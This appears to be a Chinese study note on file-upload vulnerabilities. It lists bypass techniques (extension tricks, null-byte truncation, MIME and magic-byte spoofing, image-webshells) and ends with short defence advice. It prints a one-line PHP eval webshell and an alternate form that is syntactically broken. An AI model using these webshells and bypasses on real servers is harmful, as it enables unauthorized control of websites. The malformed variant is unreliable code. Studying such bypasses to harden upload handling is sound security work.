文件上传原理:
攻击者通过网站的文件上传功能比如头像上传,图片上传,文档上传等上传了恶意的文件通过网络协议发送到了服务器端,但前端未做好严格的过滤和检查,致使服务器端解析了恶意文件,文件被保存到服务器端。典型的一句话木马文件上传,通过蚁剑等工具进行连接从而实现控制WEB网站的目的。
文件上传流程:
检测流程:
漏洞利用流程:
文件上传界面->尝试绕过检测,上传恶意文件->获取上传的文件的位置->剑等工具连接获取服务器端权限
绕过方式:
1、前端验证检测绕过:
在上传界面会有格式验证的JavaScript代码,这个是我们可以通过禁用js防护的方式控制的(火狐浏览器的插件Javascript Switcher专门用于禁用JS))
2、后缀绕过(针对黑名单检测):
有的服务器端会对一些后缀设立黑名单,但是有一些规则过滤不够严谨。
大小写绕过:.PHp
点或空格绕过:.php.,.php ,.php..
Windows对文件命名的规范导致无法直接对文件重命名后面加空格,加上点也会自动生成没有点的文件。所以要用bp抓包加空格或者加点再放过。这里有些网站也对点进行了过滤,我们可以看它这个过滤是不是循环的,如果是一次性的就bp抓包多加几个点试试。
特殊后缀绕过:服务器侧过滤规则完全匹配不够严谨,在某些特定的情况下的后缀也能够被当作php文件进行解析,例如php3、php4、phtml、pht等情况。
/*可以使用phtml、php3、php4、php5,当然前提是apache服务器,同时在配置文件夹中需要有将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除,重启phpstudy让其生效。*/
双写绕过:服务器设置规则在匹配到关键字后编辑删除,这个时候我们可以进行后缀双写例如.pphphp。
::$DATA绕过:未对后缀名去::$DATA处理,利用windows文件系统特性可绕过检测如.php::$DATA可绕过对.php的检测,要用bp抓包加::$DATA再放过
3、后缀绕过(针对白名单检测):
双扩展名绕过:上传文件时,文件名可能包含两个扩展名,例如 shell.php.jpg
。某些服务器配置可能会忽略最后一个扩展名,从而将文件当作 PHP 脚本执行。
这样的成功率是非常低的,类似于双扩展名绕过的还有00截断绕过,在双扩展的基础上提高成功率。%00为结束符,只能用于php版本低于5.3的。是针对url(get请求)中绕过例如.php%00png 0x00截断的原理与%00截断一致,0x00截断针对文件名在请求体(即post请求)中的绕过,需注意的是0x00截断并非直接加0x00,而是要加空格并将空格对应的20编码改为00(在bp中操作);
修改文件头:即使文件扩展名被限制,攻击者可能会修改文件的头部信息,试图让服务器执行隐藏在其中的代码。
MIME绕过:使用bp抓包修改http请求包中的Content-Type字段的值为合法MIME类型;
Content-Type: image/gif(gif图像)
Content-Type: image/jpg(jpg图像)
Content-Type: image/png(png图像)
4、文件内容绕过(文件头,文件内容检测):
文件头是文件开头的一段二进制码,不同类型的图片也就会有不同的二进制头。网页会对文件头和文件内容进行检测
JPEG (jpg),文件头:FF D8 FF E1
PNG (png),文件头:89 50 4E 47
GIF (gif),文件头:47 49 46 38
改幻数:
在文件内容开头写文本GIF89a即可绕过对文件幻数的检测;
做图片马:
可以用notepad++在图片1.jpg内容最后加上一句话木马,不过这种方法可能会出错
也可以在终端合成图片马 copy 1.jpg/b+1.php/a 2.jpg
替换一句话木马格式:
检测到非法:<?php @eval($_POST['cmd']);?>
可替换为:<script language="php">eval($_POST['cmd'];<?script>
防护建议:
黑白名单不多赘述
设置上传目录最小权限:对上传文件到的目录做不可执行权限
随机数时间戳:这个是我自己想的,不知道可不可行,在重放攻击章节学到随机数和时间戳,在文件上传尝试绕过的时候多会利用bk抓包修改内容等,在这个过程中是否可利用此种手法使得数据包失效。
避免存储在 Web 可访问目录:将上传的文件存储在 Web 根目录之外的路径,确保这些文件无法直接通过 URL 访问。